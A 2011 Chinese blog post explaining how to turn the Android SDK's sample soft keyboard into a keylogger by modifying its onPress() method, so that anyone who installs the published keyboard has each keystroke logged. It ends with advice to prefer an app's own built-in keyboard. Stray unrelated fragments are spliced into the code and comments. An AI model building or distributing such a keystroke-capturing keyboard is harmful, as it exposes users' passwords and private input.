您的位置:首页 > 移动开发 > Android开发

android使用键盘钩子实现按键劫持

2011-09-05 16:21 639 查看
android在应用层实现按键钩子的方案为:

获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()

函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。

public void onPress(int primaryCode) {

int iKeyboardResId;

int iCode;

String sLabel;

String name ;

LatinKeyboard CurrentKeyboard;

StringBuilder sb = new StringBuilder("");

//android.os.Debug.waitForDebugger();

if(mInputView == null)

return;

Keyboard currentKeyboard = mInputView.getKeyboard();

CurrentKeyboard = (LatinKeyboard)currentKeyboard;

iKeyboardResId = CurrentKeyboard.mXmlResId;

//Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));

XmlResourceParser parser = getResources().getXml(iKeyboardResId);

int eventCode;

try

{

eventCode = parser.getEventType();

while (eventCode != XmlResourceParser.END_DOCUMENT)

{

//如果是开始标签

if (eventCode == XmlResourceParser.START_TAG)

{

//获取标签名称

name = parser.getName();

// Log.d("XL: onPress LableName", name);

//判断标签名称是否等于key

if(name.equals("Key"))

{

//获得标签属英语make up是什么意思

sLabel = parser.getAttributeNamespace(0);

sLabel = parser.getAttributeValue(sLabel, "codes");

//iCode = parser.getAttributeIntValue(0, -1);

//Log.d("XL: onPress keyCode", String.valueOf(iCode));

//Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));

iCode = Integer.parseInt(sLabel);

if( iCode == primaryCode)

{

sLabel = parser.getAttributeNamespace(0);

sLabel = parser.getAttributeValue(sLabel, "keyLabel");

//Log.d("XL: onPress keyCode", String.valueOf(iCode));

//Log.d("XL: onPress keylabel", sLabel);

sb.append("你按下的是: " + sLabel + "键" + "\n");

break;

}

}

}

else if (eventCode == XmlPullParser.END_TAG)

{

}

else if (eventCode == XmlPullParser.TEXT)

{

}

//下一个标签

eventCode = parser.next();

} //while

}

catch (XmlPullParserException e)

{

e.printStackTrace();

}2011年09月

catch (IOException e)

{

e.printStackTrace();

}

Log.d("[XL]", sb.toString());

}

所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: